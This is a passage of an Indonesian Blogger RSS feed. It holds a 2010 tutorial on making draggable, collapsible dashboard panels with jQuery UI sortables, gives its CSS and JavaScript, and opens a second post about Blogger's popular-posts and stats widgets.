style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&lt;span style="color: #800000"&gt;font-size&lt;/span&gt;:&lt;span style="color: #800000"&gt;12px&lt;/span&gt;;  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&lt;span style="color: #800000"&gt;padding&lt;/span&gt;:&lt;span style="color: #800000"&gt;5px&lt;/span&gt;;  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&lt;span style="color: #800000"&gt;background&lt;/span&gt;:&lt;span style="color: #800000"&gt;#f0f0f0&lt;/span&gt;;  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&lt;span style="color: #800000"&gt;color&lt;/span&gt;:&lt;span style="color: #800000"&gt;#000&lt;/span&gt;;  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&lt;span style="color: #800000"&gt;border-bottom&lt;/span&gt;:&lt;span style="color: #800000"&gt;1px&lt;/span&gt; &lt;span style="color: #800000"&gt;solid&lt;/span&gt; &lt;span style="color: #800000"&gt;#eee&lt;/span&gt;;  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&lt;span style="color: #800000"&gt;font-family&lt;/span&gt;:&lt;span style="color: #800000"&gt;Verdana&lt;/span&gt;;  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&lt;span style="color: #800000"&gt;cursor&lt;/span&gt;:&lt;span style="color: #800000"&gt;move&lt;/span&gt;;  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;}  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;.&lt;span style="color: #800000"&gt;dragbox-content&lt;/span&gt;{  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&lt;span style="color: #800000"&gt;background&lt;/span&gt;:&lt;span style="color: #800000"&gt;#fff&lt;/span&gt;;  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&lt;span style="color: #800000"&gt;min-height&lt;/span&gt;:&lt;span style="color: #800000"&gt;100px&lt;/span&gt;; &lt;span style="color: #800000"&gt;margin&lt;/span&gt;:&lt;span style="color: #800000"&gt;5px&lt;/span&gt;;  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&lt;span style="color: #800000"&gt;font-family&lt;/span&gt;:'&lt;span style="color: #800000"&gt;Lucida&lt;/span&gt; &lt;span style="color: #800000"&gt;Grande&lt;/span&gt;', &lt;span style="color: #800000"&gt;Verdana&lt;/span&gt;; &lt;span style="color: #800000"&gt;font-size&lt;/span&gt;:&lt;span style="color: #800000"&gt;0&lt;/span&gt;.&lt;span style="color: #800000"&gt;8em&lt;/span&gt;; &lt;span style="color: #800000"&gt;line-height&lt;/span&gt;:&lt;span style="color: #800000"&gt;1&lt;/span&gt;.&lt;span style="color: #800000"&gt;5em&lt;/span&gt;;  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt; }  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;.&lt;span style="color: #800000"&gt;column&lt;/span&gt;  .&lt;span style="color: #800000"&gt;placeholder&lt;/span&gt;{  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt; &lt;span style="color: #800000"&gt;background&lt;/span&gt;: &lt;span style="color: #800000"&gt;#f0f0f0&lt;/span&gt;;  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&lt;span style="color: #800000"&gt;border&lt;/span&gt;:&lt;span style="color: #800000"&gt;1px&lt;/span&gt; &lt;span style="color: #800000"&gt;dashed&lt;/span&gt; &lt;span style="color: #800000"&gt;#ddd&lt;/span&gt;;  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;. }  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;.&lt;span style="color: #800000"&gt;dragbox&lt;/span&gt; &lt;span style="color: #800000"&gt;h2&lt;/span&gt;.&lt;span style="color: #800000"&gt;collapse&lt;/span&gt;{  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&lt;span style="color: #800000"&gt;background&lt;/span&gt;:&lt;span style="color: #800000"&gt;#f0f0f0&lt;/span&gt; &lt;span style="color: #800000"&gt;url&lt;/span&gt;('&lt;span style="color: #800000"&gt;collapse&lt;/span&gt;.&lt;span style="color: #800000"&gt;png&lt;/span&gt;') &lt;span style="color: #800000"&gt;no-repeat&lt;/span&gt; &lt;span style="color: #800000"&gt;top&lt;/span&gt; &lt;span style="color: #800000"&gt;rightright&lt;/span&gt;;  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;}  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;.&lt;span style="color: #800000"&gt;dragbox&lt;/span&gt; &lt;span style="color: #800000"&gt;h2&lt;/span&gt; .&lt;span style="color: #800000"&gt;configure&lt;/span&gt;{  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&lt;span style="color: #800000"&gt;font-size&lt;/span&gt;:&lt;span style="color: #800000"&gt;11px&lt;/span&gt;; &lt;span style="color: #800000"&gt;font-weight&lt;/span&gt;:&lt;span style="color: #800000"&gt;normal&lt;/span&gt;;  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&lt;span style="color: #800000"&gt;margin-right&lt;/span&gt;:&lt;span style="color: #800000"&gt;30px&lt;/span&gt;; &lt;span style="color: #800000"&gt;float&lt;/span&gt;:&lt;span style="color: #800000"&gt;rightright&lt;/span&gt;;  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt; }   &lt;/pre&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;h3 style="text-align: justify; font-family: times,&amp;quot;Times New Roman&amp;quot;,serif; font-weight: normal"&gt;&lt;span style="font-size: small"&gt;&lt;span class="class"&gt;&lt;span style="background-color: white" title=""&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style="font-size: large"&gt;JavaScript Code&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;&lt;br /&gt;&lt;br /&gt;&lt;h3 style="text-align: justify; font-family: arial,helvetica,sans-serif; font-weight: normal"&gt;&lt;span style="font-family: times,&amp;quot;Times New Roman&amp;quot;,serif; font-size: small"&gt;&lt;span id="result_box" class="class"&gt;&lt;span title=""&gt;Untuk membuat kotak draggable dan droppable, kita akan menggunakan fungsi &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span id="result_box" class="class"&gt;&lt;span title=""&gt;&lt;span style="font-family: times,&amp;quot;Times New Roman&amp;quot;,serif; font-size: small"&gt;Libraries&lt;/span&gt;&lt;b&gt;&lt;span style="font-size: large"&gt; &lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: times,&amp;quot;Times New Roman&amp;quot;,serif; font-size: small"&gt;&lt;span id="result_box" class="class"&gt;&lt;span title=""&gt;Sortables jQuery UI. &lt;span style="font-size: small"&gt;Berikut kode yang perlu menggunakan, menambahkan ini ke $ (dokumen) setelah fungsi ().&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/h3&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #fbfbfb; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px"&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt; $('.column').sortable({  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;connectWith: '.column',  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;handle: 'h2',  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;cursor: 'move',  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;placeholder: 'placeholder',  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;forcePlaceholderSize: &lt;span style="color: #0000ff"&gt;true&lt;/span&gt;,  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;opacity: 0.4,  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt; })  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt; .disableSelection();  &lt;/pre&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;h3 style="text-align: justify; font-family: arial,helvetica,sans-serif; font-weight: normal"&gt;&lt;span style="font-family: times,&amp;quot;Times New Roman&amp;quot;,serif; font-size: small"&gt;Untuk menutup isi panel bila anda klik pada header panel dan menunjukkan mengkonfigurasi link pada header panel di hover, gunakan kode dibawah ini pada fungsi jQuery&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;&lt;/h3&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #fbfbfb; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px"&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt; $('.dragbox').each(&lt;span style="color: #0000ff"&gt;function&lt;/span&gt;(){ &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;$(&lt;span style="color: #0000ff"&gt;this&lt;/span&gt;).hover(&lt;span style="color: #0000ff"&gt;function&lt;/span&gt;(){  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;$(&lt;span style="color: #0000ff"&gt;this&lt;/span&gt;).&lt;span style="color: #0000ff"&gt;find&lt;/span&gt;('h2').addClass('collapse');  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;}, &lt;span style="color: #0000ff"&gt;function&lt;/span&gt;(){  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;$(&lt;span style="color: #0000ff"&gt;this&lt;/span&gt;).&lt;span style="color: #0000ff"&gt;find&lt;/span&gt;('h2').removeClass('collapse');  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;})  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;.&lt;span style="color: #0000ff"&gt;find&lt;/span&gt;('h2').hover(&lt;span style="color: #0000ff"&gt;function&lt;/span&gt;(){  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;$(&lt;span style="color: #0000ff"&gt;this&lt;/span&gt;).&lt;span style="color: #0000ff"&gt;find&lt;/span&gt;('.configure').css('visibility', 'visible');  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;}, &lt;span style="color: #0000ff"&gt;function&lt;/span&gt;(){  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;$(&lt;span style="color: #0000ff"&gt;this&lt;/span&gt;).&lt;span style="color: #0000ff"&gt;find&lt;/span&gt;('.configure').css('visibility', 'hidden');  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;})  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;.click(&lt;span style="color: #0000ff"&gt;function&lt;/span&gt;(){  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;$(&lt;span style="color: #0000ff"&gt;this&lt;/span&gt;).siblings('.dragbox-content').toggle();  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;})  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;.end()  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt; .&lt;span style="color: #0000ff"&gt;find&lt;/span&gt;('.configure').css('visibility', 'hidden');  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt; }); &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&lt;/pre&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;h3 style="text-align: justify; font-family: arial,helvetica,sans-serif; font-weight: normal"&gt;&lt;br /&gt;  &lt;div class="download"&gt;&lt;span id="fullpost"&gt;&lt;br /&gt;      &lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;    &lt;br /&gt;&lt;span id="fullpost"&gt;&lt;br /&gt;      &lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;    &lt;br /&gt;download source kode &lt;a href="http://kui.my-php.net/demo/drag.zip"&gt;http://kui.my-php.net/demo/drag.zip&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;    &lt;br /&gt;&lt;span id="fullpost"&gt;&lt;br /&gt;      &lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;/h3&gt;&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;br /&gt;  &lt;h3 style="text-align: justify; font-family: arial,helvetica,sans-serif; font-weight: normal"&gt;&lt;br /&gt;    &lt;br /&gt;&lt;/h3&gt;&lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;h3 style="text-align: justify; font-family: times,&amp;quot;Times New Roman&amp;quot;,serif; font-weight: normal"&gt;&lt;span style="font-size: small"&gt;&lt;span id="result_box" class="class"&gt;&lt;span style="background-color: white" title=""&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/h3&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify; font-family: times,&amp;quot;Times New Roman&amp;quot;,serif"&gt;&lt;span id="result_box" class="class"&gt;&lt;span title=""&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5446044059411239717-642290950669352041?l=naksangka.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/naksangka/~4/flJiZzxZ1eA" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/naksangka/~3/flJiZzxZ1eA/drag-and-drop-menggunakan-jquery.html</link><author>noreply@blogger.com (pandewa)</author><media:thumbnail url="http://1.bp.blogspot.com/_xxdfU1yNW68/TJLjT8bFj_I/AAAAAAAAAdQ/XQ3re5Q3Sxo/s72-c/jquery-logo.gif" height="72" width="72" /><thr:total>0</thr:total><enclosure url="http://kui.my-php.net/demo/drag.zip" length="70383" type="application/zip" /><media:content url="http://kui.my-php.net/demo/drag.zip" fileSize="70383" type="application/zip" /><itunes:explicit>no</itunes:explicit><itunes:subtitle>Drag and Drop Menggunakan jQuery Dengan memasang Drag and Drop pada website, dapat membantu user/pengunjung untuk mengatur halaman website sesuai dengan keinginannya. Jenis fungsionalitas sering disediakan oleh portal web atau homepage pribadi seperti lay</itunes:subtitle><itunes:author>noreply@blogger.com (pandewa)</itunes:author><itunes:summary>Drag and Drop Menggunakan jQuery Dengan memasang Drag and Drop pada website, dapat membantu user/pengunjung untuk mengatur halaman website sesuai dengan keinginannya. Jenis fungsionalitas sering disediakan oleh portal web atau homepage pribadi seperti layanan iGoogle. coba perhatikan contoh dibawah ini implementasi drag and drop pada igoogle. Hari ini, perkenankanlah saya menunjukkan kepa anda bagaimana membuat drag and drop menggunakan Jquery, untuk contoh, dapat anda lihat di sini http://kui.my-php.net/drag/. Mempersiapakan&amp;#160; Libraries Disini saya menggunakan perpustakaan JQuery dan JQuery UI, ambil versi terbaru dari kedua dan menambahkannya ke header halaman Anda. Struktur HTML saya menggunakan 2 kolom vertikal yang didevenisikan div dengan &amp;quot;kolom&amp;quot; class = dalam contoh ini yang akan terus panel kita. Berikut struktur HTML lengkap untuk contoh kita, saya akan menggunakan 5 panel dalam dua kolom. &amp;lt;div class=&amp;quot;column&amp;quot; id=&amp;quot;column1&amp;quot;&amp;gt; &amp;lt;div class=&amp;quot;dragbox&amp;quot; id=&amp;quot;item1&amp;quot; &amp;gt; &amp;lt;h2&amp;gt;Handle 1&amp;lt;/h2&amp;gt; &amp;lt;div class=&amp;quot;dragbox-content&amp;quot; &amp;gt; &amp;lt;!-- Masukkan Kontent disini --&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;div class=&amp;quot;dragbox&amp;quot; id=&amp;quot;item2&amp;quot; &amp;gt; &amp;lt;h2&amp;gt;&amp;lt;span class=&amp;quot;configure&amp;quot; &amp;gt;&amp;lt;a href=&amp;quot;#&amp;quot; &amp;gt;Configure&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;Handle 2&amp;lt;/h2&amp;gt; &amp;lt;div class=&amp;quot;dragbox-content&amp;quot; &amp;gt; &amp;lt;!--Masukkan Kontent disini --&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;div class=&amp;quot;dragbox&amp;quot; id=&amp;quot;item3&amp;quot; &amp;gt; &amp;lt;h2&amp;gt;Handle 3&amp;lt;/h2&amp;gt; &amp;lt;div class=&amp;quot;dragbox-content&amp;quot; &amp;gt; &amp;lt;!-- Masukkan Kontent disini --&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;div class=&amp;quot;column&amp;quot; id=&amp;quot;column2&amp;quot; &amp;gt; &amp;lt;div class=&amp;quot;dragbox&amp;quot; id=&amp;quot;item4&amp;quot; &amp;gt; &amp;lt;h2&amp;gt;Handle 4&amp;lt;/h2&amp;gt; &amp;lt;div class=&amp;quot;dragbox-content&amp;quot; &amp;gt; &amp;lt;!-- Masukkan Kontent disini--&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;div class=&amp;quot;dragbox&amp;quot; id=&amp;quot;item5&amp;quot; &amp;gt; &amp;lt;h2&amp;gt;Handle 5&amp;lt;/h2&amp;gt; &amp;lt;div class=&amp;quot;dragbox-content&amp;quot; &amp;gt; &amp;lt;!--masukkan kontent disini--&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; CSS Styles Berikut adalah&amp;#160; kode CSS, Anda dapat memodifikasi sebagai keinginan anda, tetapi ingat untuk menyesuaikan lebar. Kolom dalam kasus Anda meningkatkan jumlah kolom. .column{ width:49%; margin-right:.5%; min-height:300px; background:#fff; float:left; } .column .dragbox{ margin:5px 2px 20px; background:#fff; position:relative; border:1px solid #ddd; -moz-border-radius:5px; -webkit-border-radius:5px; } .column .dragbox h2{ margin:0; font-size:12px; padding:5px; background:#f0f0f0; color:#000; border-bottom:1px solid #eee; font-family:Verdana; cursor:move; } .dragbox-content{ background:#fff; min-height:100px; margin:5px; font-family:'Lucida Grande', Verdana; font-size:0.8em; line-height:1.5em; } .column .placeholder{ background: #f0f0f0; border:1px dashed #ddd; . } .dragbox h2.collapse{ background:#f0f0f0 url('collapse.png') no-repeat top rightright; } .dragbox h2 .configure{ font-size:11px; font-weight:normal; margin-right:30px; float:rightright; } JavaScript Code Untuk membuat kotak draggable dan droppable, kita akan menggunakan fungsi Libraries Sortables jQuery UI. Berikut kode yang perlu menggunakan, menambahkan ini ke $ (dokumen) setelah fungsi (). $('.column').sortable({ connectWith: '.column', handle: 'h2', cursor: 'move', placeholder: 'placeholder', forcePlaceholderSize: true, opacity: 0.4, }) .disableSelection(); Untuk menutup isi panel bila anda klik pada header panel dan menunjukkan mengkonfigurasi link pada header panel di hover, gunakan kode dibawah ini pada fungsi jQuery $('.dragbox').each(function(){ $(this).hover(function(){ $(this).find('h2').addClass('collapse'); }, function(){ $(this).find('h2').removeClass('collapse'); }) .find('h2').hover(function(){ $(this).find('.configure').css('visibility', 'visible'); }, function(){ $(this).find('.configure').css('visi</itunes:summary><itunes:keywords>JQuery, Pemprograman</itunes:keywords><feedburner:origLink>http://naksangka.blogspot.com/2010/09/drag-and-drop-menggunakan-jquery.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-5446044059411239717.post-1712057748836006675</guid><pubDate>Thu, 02 Sep 2010 17:10:00 +0000</pubDate><atom:updated>2010-09-02T10:10:56.083-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">blogger hack</category><category domain="http://www.blogger.com/atom/ns#">trik bloging</category><category domain="http://www.blogger.com/atom/ns#">new gadget for blogger</category><title>Menambah Widget Populer Posts Dan Blog Stats Di Blogger</title><description>&lt;span class="Apple-style-span" style="font-family: arial, sans-serif; font-weight: bold; text-transform: capitalize;"&gt;&lt;u&gt;Menambah Widget Populer Posts Dan Blog Stats Di Blogger&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/_xxdfU1yNW68/TH_YG0OjMkI/AAAAAAAAAco/ENjdsYI3_ug/s1600/blogger.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_xxdfU1yNW68/TH_YG0OjMkI/AAAAAAAAAco/ENjdsYI3_ug/s320/blogger.JPG" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: justify;"&gt;
&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Blogger kembali lagi menawarkan fitur-fitur &amp;nbsp;yang menarik untuk para blogger, yakni&amp;nbsp;Widget Populer Posts Dan Blog Stats Di Blogger, gatget blog stats hampir mirip dengan fitur yang di luncurkan blogger belum lama ini yaitu blog statistik, &amp;nbsp;nah apa keuntungan menggunakan gadget ini ? menurut saya pribadi, selain menambah semraknya blog kita dengan gadget, dan juga&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 20px;"&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;karena kita sebagai pemilik blog akan mengetahui secara real time tulisan kita yang sering di baca oleh pengunjung dan info jumlah yang mengakses blog kita.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: justify;"&gt;
&lt;span class="Apple-style-span" style="line-height: 20px;"&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;namun, ada juga yang di sayangkan dari gadget Populer post ini (mungkin karena belum final) adalah&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: arial, sans-serif; font-size: small; line-height: 20px;"&gt;&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: arial, sans-serif; font-size: small; line-height: 20px;"&gt;untuk populer post tidak terdapat kebebasan untuk menampilkan jumlah populer post yang akan kita tampilkan. Artinya kita harus mengikuti secara default jumlah populer post-nya yakni 10 populer post.&lt;/span&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: justify;"&gt;
&lt;span class="Apple-style-span" style="font-family: arial, sans-serif; font-size: small; line-height: 20px;"&gt;bagi anda yang sudah tidak sabar untuk mencobanya, silahkan di &lt;a href="http://draft.blogger.com/home"&gt; blogger in draft&lt;/a&gt;.&lt;/span&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: justify;"&gt;
